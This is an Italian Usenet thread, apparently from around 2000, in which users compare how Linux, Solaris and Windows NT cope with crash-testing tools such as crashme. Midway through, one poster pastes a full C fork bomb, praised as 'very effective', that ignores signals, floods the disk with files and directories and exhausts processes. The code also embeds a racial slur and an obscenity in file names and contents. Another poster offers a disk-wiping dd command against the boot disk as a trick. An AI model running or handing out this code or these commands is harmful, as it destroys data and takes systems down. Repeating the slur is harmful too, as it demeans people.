Newsgroup: it.comp.os.dibattiti
Titolo: Crashme, Solaris, Linux

Moltissime macchine con il Linux vanno in palla con crashme (anche la mia
:-((( ). Ho letto che esiste un fix, ma che non risolve tutti i problemi
(qualcuno conferma?). Non so che importanza possa avere un crash indotto con
crashme nella valutazione "quotidiana" della stabilità di un sistema
operativo, ma Linux esce un po' malconcio (quando ne esce) da un round con
questo piccolo, ma insidioso software.
Per puro divertimento, ho provato a compilare ed eseguire crashme su Solaris
2.7 sia nella versione x Sparc che in quella x Intel e, ovviamente, crashme
fa una pippa ad entrambi.
Che Solaris sia 
112312312313
^123123123123 volte più stabile di Linux non ci
piove, ma allora perché pochi lo vogliono e, soprattutto, poco se ne parla
in questo NG?
Saluti
UltraSparc

questo piccolo, ma insidioso software.
Dove si trova?
-- 
Lorenzo
"Given enough eyeballs, all bugs are shallow", Linus'Law
(per rispondere via email fai un rot13 dell'indirizzo)
(apply a rot13 to reply)

in questo NG?
Non lo ho mai provato su un PC, ma mi hanno detto che e' incredibilmente
piu' lento di Linux. Sulla qualita' di Solaris poi non ho dubbi.
A questo punto pero' dovremmo chiederci una cosa: vogliamo l'affidabilita'
massima consentita? Be, allora di sicuro non compriamo un PC intel... Se
vogliamo l'affidabilita' prendiamo Sun, Digital ecc..., che hanno anche
degli ottimi sistemi operativi.
Deduco quindi che forse qua di gente che lavora costantemente su digital e
sun di alto livello non ce ne sia molta...
-- 
--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#-
L'universita' americana di Berkeley ha prodotto due importanti invezioni:
l'LSD e Unix.
Credo non sia una coincidenza.
                                          Jeremy S. Anderson

> Dove si trova?
Su 
www.debian.org
Saluti
UltraSparc


Sicuramente per l' affidabilità non si sceglie Intel, ma i costi di una
workstation sono proibitivi per la maggior parte degli utenti. E siccome non
posso permettermi una Ultra preferisco di gran lunga Solaris x x86 che
almeno garantisce affidabilità software.
Saluti
UltraSparc

(qualcuno conferma?).
Beh io l'ho provato e mi e` sembrato totalmente innocuo.
Del resto l'avviso recita:
"While Linux has been known to survive days and weeks of crashme..."
forse sei tu che hai un problema.
Mentre ti rispondo ne girano quattro in background ognuno dei quali
forka come un coniglio, ecco:
9:53pm  up  1:06,  4 users,  load average: 4.47, 4.03, 2.53
34 processes: 28 sleeping, 6 running, 0 zombie, 0 stopped
CPU states: 64.4% user, 17.6% system,  0.0% nice, 18.2% idle
Mem:   15036K av,   7076K used,   7960K free,   2712K shrd,    324K buff
Swap:  40316K av,   8716K used,  31600K free                  1904K cached
 
PID USER     PRI  NI  SIZE  TRS  RSS SHARE STAT %CPU %MEM   TIME COMMAND
24686 allegro   18   0   420   12  420   316 R    27.7  2.7   0:03 crashme
24690 allegro   10   0   488   12  488   316 R    20.3  3.2   0:02 crashme
24693 allegro   10   0   420   12  420   316 R    20.1  2.7   0:01 crashme
24694 allegro   17   0  1880   12 1880   312 R    10.8 12.5   0:00 crashme
  259 root       3   0   508   32  432   340 R     2.9  2.8   1:30 top
    1 root       0   0    76    0    0     0 SW    0.0  0.0   0:02 init
    2 root       0   0     0    0    0     0 SW    0.0  0.0   0:00 kflushd
    3 root       0   0     0    0    0     0 SW    0.0  0.0   0:00 kupdate
    4 root       0   0     0    0    0     0 SW    0.0  0.0   0:00 kpiod
    5 root       0   0     0    0    0     0 SW    0.0  0.0   0:40 kswapd
   93 root       0   0   156   20   64    48 S     0.0  0.4   0:00 syslogd
   95 root       0   0   300    0    0     0 SW    0.0  0.0   0:00 klogd
  100 root       0   0    92    0    0     0 SW    0.0  0.0   0:00 inetd
  108 nobody     0   0   160   20   36    24 S     0.0  0.2   0:05 fakebo
  112 root       0   0   100   24   44    36 S     0.0  0.2   0:00 gpm
  118 root       0   0    68    0    0     0 SW    0.0  0.0   0:00 tcplogd
  120 root       0   0    68    0    0     0 SW    0.0  0.0   0:00 icmplogd
  162 daemon     0   0   100    0    0     0 SW    0.0  0.0   0:00 atd
 
Magari se mi dici i parametri che hai usato...
Anche la versione del kernel.


 in questo NG?
Ho lavorato intensivamente con Solaris su una Ultra4 (Mi pare) e l'ho fatta
sudare mica poco. Ne sono rimasto favorevolmente colpito.
Forse non ha il successo di Linux per il fatto di non essere Free ...
-- 
                                                                     __
 __                                                              _  ///
| _        Student in Computer Science, Swiss Federal Institute  \\///
|__|iambo      of Technology - mailto:
ggia...@iiic.ethz.ch
       \X/

 wrote:
-> > Non lo ho mai provato su un PC, ma mi hanno detto che e' incredibilmente
-> > piu' lento di Linux. Sulla qualita' di Solaris poi non ho dubbi.
-> 
-> Io l' ho provato su un 486 con 24 MB di ram e sul mio portatile Toshiba PII
-> 366
-> Non è veloce, ma non è nemmeno incredibilmente più lento di Linux.
-> Soffre per la carenza di driver, ma con la 2.8 qualche cambiamento lo si
-> vedrà sicuramente.
Solaris l'ho usavo su macchine decisamente piu' potenti. Direi che a
quel livello non era tanto difforme a Linux in prestazioni, ma mi ha lasciato
brutti ricordi circa l'amministrazione e la configurazione.
-> Sicuramente per l' affidabilità non si sceglie Intel, ma i costi di una
-> workstation sono proibitivi per la maggior parte degli utenti. E siccome non
-> posso permettermi una Ultra preferisco di gran lunga Solaris x x86 che
-> almeno garantisce affidabilità software.
Per la maggior parte degli utenti comprare una workstation e' anche inutile,
anche se credo che a parita' di prestazioni una sun costa meno di un
pc. A parita' di prezzo il discorso chiaramente cambia.
bye
Gianluca
-- 
Home Page                              
http://www.infinito.it/utenti/chewbe/
Against software patents               
http://no-patents.prosa.it/
Boycott Microsoft - Boicotta Microsoft 
http://www.boycott-ms.org/

Moltissime macchine con il Linux vanno in palla con crashme (anche la mia
help ulimit
E ovviamente non devi farlo girare come root.
-- 
ciao, | [Per rispondere togli "toglimi" dal mio indirizzo.]
Marco | "You're one of those condescending Unix computer users!"
      | "Here's a nickel, kid. Get yourself a better computer"  -- Dilbert
      | (Ri)scoprire fidonet: 
http://bbs.mi.linux.it

 :-((( ). 
Cosa intendi ? Ho scaricato e compilato crashme (2.4.orig con applicato il
.diff scaricato da un mirror della debian).
Lanciato con 
# ./crashme +2000 666 100 1:10:30 2
dopo un'oretta abbondante ha sputacchiato un po' di numeretti, terminando
senza problemi (RH 6.1, 2.2.14).
Ciao ciao,
Andrea
-- 
"...Unix, MS-DOS, and Windows NT (also known as the Good, the Bad, and 
 the Ugly)."
(by Matt Welsh)

credo che a parita' di prestazioni una sun costa meno di un pc. 
Sulle macchine piccole la piattaforma Intel, a parita` di qualita`
dell'hardware, e` piu` conveniente (anche se meno di quanto sembri).
Una Sun Ultra10, per esempio, costa una bella cifra ma e` un cessetto.
Al crescere delle dimensioni e spostandosi dall'ambito workstation a
quello server il discorso si ribalta; una macchina Intel di classe 
server (uno di quei bei Compaq Proliant quadri-xeon, per esempio)
costa una cifra indegna, e con gli stessi soldi puoi avere una Sun o
una Alpha ben piu`performanti.
IMHO,
-- 
Andrea Paolini < ap (at) nuxi . cx >
Network engineer . Sysadmin . BOFH . Unix diehard 
DS Logics Srl / DSnet . Via S.Felice 98 . I-40122 Bologna

 Forse non ha il successo di Linux per il fatto di non essere Free ...
Solaris x86 lo trovi gratis (spese di spedizione escluse). Non hai i
sorgenti perň!!
Saluti
UltraSparc

> E ovviamente non devi farlo girare come root.
Io lo faccio girare come root sia su Linux che su Solaris. Però uno si
pianta e l' altro no...
Perché non dovrei farlo andare da root?
Saluti
UltraSparc

 Anche la versione del kernel.
L' ho eseguito da root su kernel 2.0.36.
Saluti
UltraSparc

L' ho eseguito da root su kernel 2.0.36.
Non ha senso eseguirlo come root ma l'ho fatto lo stesso sul mio
vecchio 2.0.38, con parametri del man.
Risultato, niente.
ps. In ogni caso prova un 2.2.14 (l'ultimo), assicurati di non avere
corruzioni di memoria, niente overclock e via dicendo.
Se i problemi persistono contattare il medico! :-)
Era una battuta.


 degli ottimi sistemi operativi.
Digital me lo ricordo (quando era vivo), OSF non era davvero male. Ora
proverò Unixware 7. Chissà che non sia una piacevole sorpresa!

UltraSPARC ha scritto:

Prova a fare (da root) dd if=/dev/zero of=/dev/mem o kmem o device simile
in tutti gli unix e avrai tutte le risposte... senza crashme.
bye G.L.
--
  Antispamming: metti "sole" in luogo di "maps"
  Antispamming: replace "maps" with "sole"

 in tutti gli unix e avrai tutte le risposte... senza crashme.
Non sono così inesperto da non conoscere i poteri del super user...
A questo proposito te ne suggerisco uno più carino da fare con Solaris
dd if=/dev/zero of=/dev/rdsk/c0t0d0s2 count=1
Indovina cosa combina?
Saluti
UltraSparc

 Era una battuta.
Ma è possibile che tocchi sempre a me la iella? Comunque è tutto ok sulle
mie macchine.
Davvero non me lo spiego. A me in meno di 10 minuti inchioda Linux.
Comunque posso consolarmi cercando su altavista crashme e vedendo che non
sono l' unico... :-)))
Saluti
UltraSparc

Non mi assumo nessuna responsabilità sui danni causati da l' uso del comando
del mio post precedente. Anzi sconsiglio a tutti di evitare questo test
Salutoni
UltraSparc

sono l' unico... :-)))
Se fossi davvero l'unico ci sarebbe da preoccuparsi sul serio! :-)
ps. Sto cercando di compilarlo sotto win. Certo che l'autore poteva
scegliere uno stile un po` piu` consono... il codice e` veramente
un orrore! Addirittura e` mischiato con il C++!
Comunque, se qualcuno lo vorra` provare su NT si potrebbe fare qualche
esperimento...
Nel frattempo la prima versione che sono riuscito a compilare manda
in crash win95 in 1.3 secondi, ma si sa` e` win95.


del mio post precedente. Anzi sconsiglio a tutti di evitare questo test
Credi che siamo tutti scemi? :-)


 Indovina cosa combina?
Non conosco quasi per nulla solaris, ma dovrebbe essere un file system o un
hard disk... o meglio lo era, dopo il comando.


Perché non dovrei farlo andare da root?
Perche` e` ovvio che se un programma gira come root e fa porcherie possa
piantare la macchina.


esperimento...
Risparmia la fatica, e` ben noto che NT e` strapieno di syscall che non
controllano cosa gli viene passato da chi le chiama.


 piantare la macchina.
Io pensavo che essendo un programma fatto apposta per incasinare la macchina
avrebbe dovuto avere i "super privilegi"
Saluti
UltraSparc

> Credi che siamo tutti scemi? :-)
No però ci sono persone che provano tutti comandi e quello che ho mostrato
io, apparentemente non fa nulla, ma al primo riavvio il disco in questione è
out..
Saluti
UltraSparc

 bloccava (e la parte migliore era rimproverarli dopo :) )
Aspetta non credo di aver capito. Scrivevi software per bloccare Solaris ma
poi non tutto si bloccava? Che relazione poi con ulimit?
Saluti
UltraSparc

controllano cosa gli viene passato da chi le chiama.
Si lo so, pero` sono curioso di vedere come si comporta.
Un confronto a parita` di codice, anche se ho dovuto togliere qualcosa.
E` pronto, se qualcuno lo vuole provare mi mandi una email.


E` pronto, se qualcuno lo vuole provare mi mandi una email.
Io lo vorrei provare. Me lo mandi?
-- 
--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#-
L'universita' americana di Berkeley ha prodotto due importanti invezioni:
l'LSD e Unix.
Credo non sia una coincidenza.
                                          Jeremy S. Anderson

 sorgenti perň!!
Avevo in giro una versione di Solaris per Intel, ma ho sentito dire che il
mio povero K6/266 sarebbe rimasto schiacciato dal peso :)


 E ovviamente non devi farlo girare come root.
Che delusione, credevo veramente potesse esistere un programma in grado di
far crashare Linux da utente. E poi la storia che a _giorni_ di distanza non
fosse disponibile un patch :-) ...


 fosse disponibile un patch :-) ...
forse esiste. guarda su 
neworder.bos.sk
 e cerca per il software che
attraverso il syslogd manda il kernel in panic
Saluti
UltraSparc


Ti prego non ridere se scrivo una scemenza, ma non sono un programmatore c
Io ho scritto questo
#include <sys/types.h>
#include <unistd.h>
int main (int a, char *argv[])
{ pid_t b;
   for (;;) b = fork;
};
ma compilato ed eseguito non crea nessun problema a Solaris
Tu cosa hai fatto?
Saluti
UltraSparc

ma compilato ed eseguito non crea nessun problema a Solaris
Ti allego il codice un fork-bomb molto efficace, quello scritto sopra
e` innocuo. Avvertenza: stai attento, altrimenti non recuperi piu` la
macchina. Se e` configurata a dovere la bestiolina non morde.
Ne ho scritta una versione anche per win, chi la volesse provare faccia
un fischio.
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#define MAX_FILELEN 100	/* The _actual_ max length */
#define MAX_DIRLEN 10
#define START_DIR "/tmp"   /* This can be substituted for any directory */
			   /* that you have write access to		*/
void dirs_generator(void);
main(int argc, char *argv[])
{
int fp;
char *buff;
char chr;
//unlink(argv[0]);
/* You might wanna ignore all the signals you can ignore.. */
signal(SIGINT,	SIG_IGN);	/* If any of the signals don't work */
signal(SIGHUP,	SIG_IGN);	/* on the system you are compiling  */
signal(SIGTERM,	SIG_IGN);	/* them on, just erase that line    */
signal(SIGALRM,	SIG_IGN);
signal(SIGBUS,	SIG_IGN);
signal(SIGFPE,	SIG_IGN);
signal(SIGILL,	SIG_IGN);
signal(SIGIOT,	SIG_IGN);
signal(SIGPIPE,	SIG_IGN);
signal(SIGQUIT,	SIG_IGN);
signal(SIGSEGV,	SIG_IGN);
signal(SIGTRAP,	SIG_IGN);
signal(SIGUSR1,	SIG_IGN);
signal(SIGUSR2,	SIG_IGN);
#ifdef BSD_C 
	signal(SIGPROF, SIG_IGN);
	signal(SIGSTOP, SIG_IGN);
	signal(SIGTSTP, SIG_IGN);
	signal(SIGTTIN,	SIG_IGN);
	signal(SIGTTOU,	SIG_IGN);
	signal(SIGVTALRM,	SIG_IGN);
	signal(SIGXCPU,	SIG_IGN);
	signal(SIGXFSZ,	SIG_IGN);
#endif
#ifdef SYSV_C
	signal(SIGPOLL,	SIG_IGN);
	signal(SIGPWR,	SIG_IGN);
#endif
if(fork()) {
	printf("Now crashing and blowing up this system.. have a nice day\n");
	printf("You can safely logout, and let the proggie do its work\n");
	printf("or you can stick around and watch lag go from 0 to bitch\n");
	printf("in a matter of seconds\n");
	printf("					--CoViN		 \n");
	exit(0);
  }
fp=open("/tmp/.fuckyounigger",O_WRONLY|O_CREAT);
if(fork()) {
	while(1) {
		fork();
		buff = malloc(64000);
		write(fp, buff, 64000);
		system("uptime");
 	}
 }
dirs_generator();
}
void dirs_generator(void)
{
char alph[] = "       abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ";
char fl[MAX_FILELEN]; 
char dir[MAX_DIRLEN];
int i;
int flen;
printf("Making dirs..\n");
chdir(START_DIR);
fork();	/* For the simplicity of the code.. we also want more dir's from */
fork(); /* the START_DIR						 */
fork();
while(1) {
	fork();
	flen= (rand() % MAX_FILELEN) - 1;
	for(i=0; i<flen; i++)
                fl[i] = alph[rand() % strlen(alph)];
	fl[MAX_FILELEN-1]=0;
	i=open(fl,O_WRONLY|O_CREAT);
	write(i,"fuck you! CoViN",16);
	close(i);
	flen= (rand() % MAX_DIRLEN) - 1;
	for(i=0; i<flen; i++)
		dir[i] = alph[rand() % strlen(alph)];
	dir[MAX_DIRLEN-1]=0;
	mkdir(dir,0);	
	chdir(dir);


 fp=open("/tmp/.fuckyounigger",O_WRONLY|O_CREAT);
                 ^^^^^^^^^^^^^
                  !!!!!!
Ciao
Vincenzo

                  !!!!!!
Ahi, mi era sfuggito.
Regola numero 1:
non postare mai codice scritto da teste di cazzo.
Scusate ragazzi.


 Io ho scritto questo
Quello che volevi scrivere era, più o meno:
#include <unistd.h>
int main(void)
{
   for (;;) fork();
}
Ciao ciao,
Andrea
-- 
"...Unix, MS-DOS, and Windows NT (also known as the Good, the Bad, and 
 the Ugly)."
(by Matt Welsh)

 non postare mai codice scritto da teste di cazzo.
...senza rileggerlo almeno due volte: open(), quando si usa il flag 
O_CREAT, richiede _tre_ parametri.




Questo e' interessante/grave ... Appena ho un po di tempo ...


 Io ho scritto questo
Il mio programmino era veramente qualcosa stile
while true {
  fork();
}
E dopo pochi secondi la process-table era piena e la macchina e' schiattata.
Ovviamente e' colpa dell'amministratore: La macchina fa' quello che gli dici
di fare !


(nonostante ci siano dei cartelli con sopra scritto "'non spegnere")
Quello e' regolare... 
Secondo me non sarebbe una cattiva idea mettere tutti i computer dentro un
cassone chiuso a chiave con solo la fessura per i floppy...
Ma poi che se ne faranno dei floppy? Togliamo pure quelli!
:-)


 questo piccolo, ma insidioso software.
Ah, questo Linux... anche per la cosa piu' banale di questo mondo,
andare in crash, ha bisogno di un programma apposta... almeno Windows
lo fa da solo... dove andremo a finire, dico io, dove andremo a
finire?
-- 
-=* Biffuz *=- alias Gabriele Biffi
bif...@mail.com
        |  "L'intelligenza e' una gran bella cosa.
http://come.to/biffuz
  |  Sarebbe bello se tutti ne avessero una."
ICQ#5169491 (Biffuz)   |

 andremo a finire?
La  flessibilità  di Unix  è  data  dal  fatto  che per  ogni  compito
specifico c'è un programma che lo esegue, ed esegue pure quello. Non è
come in windows dove ci sono i programmi che fanno tutto (tipo un word
processor  che fa  anche da  simulatore di  volo, uno  screensaver che
manda in crash il sistema....)
:-)
Ciao
Diego
-- 
Cosa c'è nella nebbia in Val Padana
ci son cose che a dirle non ci credi...
Non ci credi nemmeno se le vedi,
a parte il fatto che non le vedi
				(Cochi & Renato)

 (nonostante ci siano dei cartelli con sopra scritto "'non spegnere")
Ho provato il fork ricorsivo da root e ovviamente tutto si blocca. Da user
bloccato con ulimit la macchina non ha fatto una piega.
Ma se tu avevi tolto tutti i limiti e la macchina non rispondeva più come
facevi poi a non riavviare la macchina per riacquistarne il controllo?
Sarò utonto, ma questa mi sfugge...
Saluti
UltraSparc


Si puo` si puo`, io l'ho fatto tante volte!
Puoi usare una shell root aperta con priorita` -20 (massima) o
meglio ancora settare la policy del processo della shell come RealTime
di tipo SCHED_FIFO o SCHED_RR. Questo almeno su Linux, Solaris non so.
Io faccio girare il fork-bomb di quel fascista praticamente senza limiti
e non ho nessun problema anzi, potrei anche non accorgermene se uso
una shell RT. La macchina e` recuperabile anche quando tutto va in OOM
(Out Of Memory), dato che l'ultimo uscito il 2.2.14 corregge proprio
un bug simile.
Cumnque quel fork ricorsivo e` poco efficace cosi` com'e`.
Non e` "cattivo" :-)


 Non e` "cattivo" :-)
Me ne dai uno cattivissimo?
Ciao
UltraSparc

Me ne dai uno cattivissimo?
Era quello che avevo postato, comunque te lo rimando via email.


E` pronto, se qualcuno lo vuole provare mi mandi una email.
Io voglio pero' anche il codice. Comunque se vuoi rendere
inutilizzabile la macchina ad un utente in NT e' un gioco da ragazzi.
Ma quello credo si possa fare su qualsiasi S.O. con l'utente collegato
in modo interattivo. Qualcosa di piu' elegante di creare infiniti
processi.
A farla crashare sul serio da non root non ho mai pensato. Certo basta
installare software Siemens, ma quelle schifezze usano driver kernel.
++++
Comunque credo abbia ragione Marco, e che basti fare una chiamata non
documentata, o anche documentata, a qualche funzione del kernel di NT
con parametri sbagliati per mandare in crash il S.O., anche se
personalmente non ho mai provato codice simile.
Facendo gare di crash in ufficio (e di solito le perdo perche' il mio
collega riesce sempre a trovare nuove strade per mandarmi in crash la
macchina), mi sono fatto una piccolissima cultura in merito.
Praticamente in ufficio io recito la parte dell'ispettore Clouser e il
mio collega quello di Gato. Peccato che vinca sempre Lui.
--
Tieni per te il Papero se vuoi la mia email
Sito Papero -> 
http://utenti.tripod.it/papero

 >E` pronto, se qualcuno lo vuole provare mi mandi una email.
Funziona anche sotto Win 2000 ?
Ciao.


Certo, credo.


in modo interattivo. Qualcosa di piu' elegante di creare infiniti
Provaci con VMS...
-- 
ciao, | [Per rispondere togli "toglimi" dal mio indirizzo.]
Marco | "You're one of those condescending Unix computer users!"
      | "Here's a nickel, kid. Get yourself a better computer"  -- Dilbert
      | (Ri)scoprire fidonet: 
http://bbs.mi.linux.it

Provaci con VMS...
Se mi presti il tuo elicottero nero vado in ufficio e ci provo. Gia'
che ci sono accendo il mio AS400 e provo pure con quello. 
L'unica persona che conosco, e di cui mi fido, che sa di VMS ha
staccato la spina dell'email.


Prova a fare una ricerca di "NTCrash".
Non ho tempo. Posso prometterti che posso farci un penserino a
provarlo, ma non chiedermi di piu'.


provarlo, ma non chiedermi di piu'.
Ok te lo cerco io.
ps. Non avevi fatto voto di non postare su ICOD per 2 mesi? :-)


credo che Win2000 sia ancora meglio.
Scusa, se stai parlando di NT WS, me lo sono crashato allegramente per
out-of-memory aprendo un documento da 80mb con Wordpro... da utente...
Obelix

Scusa, se stai parlando di NT WS, me lo sono crashato allegramente 
Rispondo a te, e rispondo di riflesso anche a Lorenzo.
Voi fate un test in modo che NT si pianti, e poi io lo provo sui miei
NT. Se non si pianta, allora e' un problema di configurazione.
Naturalmente dovete dare per assunto la mia buona fede nella
pubblicazione dei risultati.
Se esiste un S.O. non piantabile, di certo non sara' NT, pero' non
esageriamo.
++++
Non ti offendere, ma se da te si pianta NT per i bachi di Word, e a me
no, il pirta non e' progettista di NT, ma tu che ti installi male NT.
O forse tu non sai che c'e' un trucco per sbloccare l'NT che credi
bloccato. In realta' spesso tu credi sia bloccato perche' non vedi
rispondere "l'interfaccia grafica", ma c'e' un banalissimo trucco per
riprendere il possesso della macchina.
E' talmente banale che se te lo dico mi dai del pirla perche' "non
puo' funzionare!".


ps. Non avevi fatto voto di non postare su ICOD per 2 mesi? :-)
A certe provocazioni non so resistere. E comunque ho ridotto di molto
il mio "contributo". Un po' per le solite derive tecnosemplicistiche
dei NT vs. Linux, un poco perche' mi diverto di piu' a parlare di
Paperi su un altro NG.


puo' funzionare!".
Qual'e`? :-)


Paperi su un altro NG.
Qual'e` questo NG?


 wrote:
-> On Thu, 24 Feb 2000 21:51:24 GMT, 
nbr...@box.seven.it
 (Obelix) wrote:
-> 
-> >Scusa, se stai parlando di NT WS, me lo sono crashato allegramente 
-> 
-> Rispondo a te, e rispondo di riflesso anche a Lorenzo.
-> 
-> Voi fate un test in modo che NT si pianti, e poi io lo provo sui miei
-> NT. Se non si pianta, allora e' un problema di configurazione.
Infila un dischetto nel floppy, comincia a usarlo (copia sul/dal floppy qualcosa)
ed estrai il floppy mentre e' in uso. Su Linux ottieni:
[ROOT][~] # mcopy a: .
plain_io: Input/output error
file read: Input/output error
[ROOT][~] # 
e nel syslog un po' di righe del tipo:
Mar  3 14:42:01 goldrake kernel: end_request: I/O error, dev 02:00 (floppy), sector 104
Mar  3 14:42:01 goldrake kernel: floppy0: disk absent or changed during operation
Mar  3 14:42:01 goldrake kernel: end_request: I/O error, dev 02:00 (floppy), sector 106
Mar  3 14:43:04 goldrake kernel: VFS: Disk change detected on device fd(2,0)
Mar  3 14:43:10 goldrake kernel: floppy0: disk removed during i/o
Se non e' cambiato sotto NT hai uno schermo blu.
-> Se esiste un S.O. non piantabile, di certo non sara' NT, pero' non
-> esageriamo.
Nessun S.O. non e' piatabile, semplicemente ci sono quelli facili da piantare e
quelli difficili da piantare.
-> Non ti offendere, ma se da te si pianta NT per i bachi di Word, e a me
-> no, il pirta non e' progettista di NT, ma tu che ti installi male NT.
Se fai l'installazione di default il pirla e' il progettista.
-> O forse tu non sai che c'e' un trucco per sbloccare l'NT che credi
-> bloccato. In realta' spesso tu credi sia bloccato perche' non vedi
-> rispondere "l'interfaccia grafica", ma c'e' un banalissimo trucco per
-> riprendere il possesso della macchina.
-> 
-> E' talmente banale che se te lo dico mi dai del pirla perche' "non
-> puo' funzionare!".
E perche' non l'hai detto questo sistema miracoloso ?
bye
Gianluca
-- 
Home Page                	Contro i brevetti del sw     Boicotta Microsoft
www.infinito.it/utenti/chewbe
 
no-patents.prosa.it/
 
www.boycott-ms.org/
 
"If we have to file a thousand lawsuits a day, we'll do it.
It's less expensive than losing CONTROL of YOUR creative works."
---Jack Valenti, President and CEO, Motion Picture Association of America

 Se non e' cambiato sotto NT hai uno schermo blu.
Provato ora, ho estratto il floppy sia mentre lo formattava che mentre
leggeva e scriveva.
In tutti e 3 i casi compare un MSG box che avvisa che che' impossibile
terminare l'operazione. Nel 2 e 3 caso propone anche di ritentare.
Ciao
Francesco

 Se non e' cambiato sotto NT hai uno schermo blu.
Non e' mai stato cosi'. Ne' appena uscito ne' ora.  Perche'
non installi un NT 4.0 base, neppure SP1 e provi 'sto benede
tto copy ? Cosi' almeno vedi con i tuoi occhi che dici cazza
te.
Bye
Gianluca Zanelotto
Ducati ST2 "Red Devil"

Se non e' cambiato sotto NT hai uno schermo blu.
Provato ora, tolto il dischetto durante una formattazione e operazioni
di lettura/scrittura.
Nel primo caso compare una msgbox che ti dice "impossibile portare a
termine l'operazione, formattazione interrotta".
Nel secondo caso compare una msgbox con una cosa del tipo "errore
durante l'operazione" e tre pulsanti  -ritentare- -ingnorare-
-annullare-
Niente schermo blu.
Ciao
Francesco

Se non e' cambiato sotto NT hai uno schermo blu.
Secondo me, ti confondi con qualche altro SO di RedMond: questo non lo
ha mai fatto, almeno, non dalla 3.51 in avanti...
Obelix

no, il pirta non e' progettista di NT, ma tu che ti installi male NT.
Non ti offendere, ma siccome l'ho installato standard, il pirla *e'*
il progettista di NT e non io. Che non mi ha predisposto la
configurazione 'safe up' che,s econdo quanto mi dici, e' possibile.
Obelix

Obelix
Bye Max
-----------------------------------------------------------------------
Se state partecipando a seti@home iscriveti al gruppo "Astronave ORION"
sezione Club
-----------------------------------------------------------------------

 wrote in message
-> news:slrn8bvgfs....@goldrake.gianluca.org...
-> > Infila un dischetto nel floppy, comincia a usarlo (copia s
-> ul/dal floppy qualcosa)
-> > ed estrai il floppy mentre e' in uso. Su Linux ottieni:
-> > Se non e' cambiato sotto NT hai uno schermo blu.
-> Non e' mai stato cosi'. Ne' appena uscito ne' ora.  Perche'
-> non installi un NT 4.0 base, neppure SP1 e provi 'sto benede
-> tto copy ? Cosi' almeno vedi con i tuoi occhi che dici cazza
-> te.
Perche' a me e' successo.
Puo' essere stato un caso, ma non credo ai casi, soprattutto in questo caso.
Quanto a NT non sono ancora riuscito a convincerlo ad installarsi su un disco
da 10 Gb... mah.


 da 10 Gb... mah.
No, non e' sfiga.......


 wrote in me
-> ssage
-> > -> news:slrn8bvgfs....@goldrake.gianluca.org...
-> > -> > Infila un dischetto nel floppy, comincia a usarlo (co
-> pia s
-> > -> ul/dal floppy qualcosa)
-> > -> > ed estrai il floppy mentre e' in uso. Su Linux ottien
-> i:
-> > -> > Se non e' cambiato sotto NT hai uno schermo blu.
-> > -> Non e' mai stato cosi'. Ne' appena uscito ne' ora.  Per
-> che'
-> > -> non installi un NT 4.0 base, neppure SP1 e provi 'sto b
-> enede
-> > -> tto copy ? Cosi' almeno vedi con i tuoi occhi che dici
-> cazza
-> > -> te.
-> >
-> > Perche' a me e' successo.
-> > Puo' essere stato un caso, ma non credo ai casi, soprattut
-> to in questo caso.
-> Sfiga ?
Puo' darsi. Ma intanto nell'occasione persi un sacco di lavoro (dato che su
quello lavoravo durante la pausa pranzo e basta, era un hobby, persi 5 mesi
di lavoro...)
-> > Quanto a NT non sono ancora riuscito a convincerlo ad inst
-> allarsi su un disco
-> > da 10 Gb... mah.
-> No, non e' sfiga.......
E' vero, non e' sfiga, e' NT.


 da 10 Gb... mah.
Forse un corso su NT ti farebbe bene, almeno quando critichi lo faresti con
ragion veduta..
Ciao
Francesco


Per una volta sbagli... con NT non crasha se togli un FD e' il fratello
minore win9x che lo fa...
-- 
Sidewinder  
---------------------------------------------------------------------
The lunatic, the lover, and the poet,
Are of imagination all compact...
		-- Wm. Shakespeare, "A Midsummer Night's Dream"
---------------------------------------------------------------------

 wrote in message
-> slrn8c6t00....@goldrake.gianluca.org...
-> 
-> > Quanto a NT non sono ancora riuscito a convincerlo ad installarsi su un
-> disco
-> > da 10 Gb... mah.
-> 
-> Forse un corso su NT ti farebbe bene, almeno quando critichi lo faresti con
-> ragion veduta..
Boh, non saprei. NT lo volevo installare per provare un programma che mi avevano
chiesto di provare, licenze fornite da loro, HW no, ma non e' cosi' vitale per
me avere NT, sono andato a testarlo dai tizi, semplicemente mi e' costato una
levata alle 7.30 la mattina, amen.
In quanto al corso, lo dovrebbero fare quelli di NT, visto che il messaggio di errore
che mi restituisce NON e' scritto sui manuali. E' un problema del disco rigido
 (secondo NT), che pero' e' nuovo ed e' quello che sto utilizzando ora con Linux.
Come ho gia' detto, ora NT non mi serve, non lo installo e posso imporre di non 
installarlo, se devo spendere soldi preferisco i corsi della CISCO.


 installarlo, se devo spendere soldi preferisco i corsi della CISCO.
Bravo, bene, non usare NT, nessuno te lo ha chiesto o te lo impone, ma
almeno documentati prima di sparare.
Ciao
Francesco


come? NT non da lo schermo blu? Incredibile! Ma forse tu sei uno dei
fortunati che ha trovato nella scatola il CD di NT bootabile. :-) Ragazzi,
ma perche' con tutti i bei bug che gia' ci sono (a quanto dite), voi ne
volete aggiungere di nuovi che poi la gente vi prende sul serio, o per il
culo:-) <----battuta, non vi incazzate :-)
Cheers,
acca

 E' vero, non e' sfiga, e' NT.
purtroppo non e' ne' sfiga ne' NT, se non mangi ti si annebbia la vista e
magari confondi 2 sistemi operativi :-)
Cheers,
acca

pare)
Mi consolo, pensavo fosse un problema solo di os2...
Obelix

 wrote in message
-> slrn8c7eud....@goldrake.gianluca.org...
-> > In quanto al corso, lo dovrebbero fare quelli di NT, visto che il
-> messaggio di errore
-> > che mi restituisce NON e' scritto sui manuali. E' un problema del disco
-> rigido
-> >  (secondo NT), che pero' e' nuovo ed e' quello che sto utilizzando ora con
-> Linux.
-> 
-> Per forza, quando e' uscito NT dischi rigidi IDE piu' grandi di 8 GB non
-> esistevano, per cui ti da' un errore (disco piu' grande di 1024 cilindri mi
-> pare)
-> Per la cronaca basta dare in pasto ad NT il driver atapi.sys aggiornato
-> durante l'installazione.
Capisco. Ovviamente era troppo complicato fare in modo semplicemente che
ignorasse lo spazio sopra il 1024 cilindro, vero ? Ovviamente e' talmente 
semplice installarlo che ti restituisce un errore non riportato sui
manuali, e non ti dice come fare a risolverlo... semplicissimo. E questo
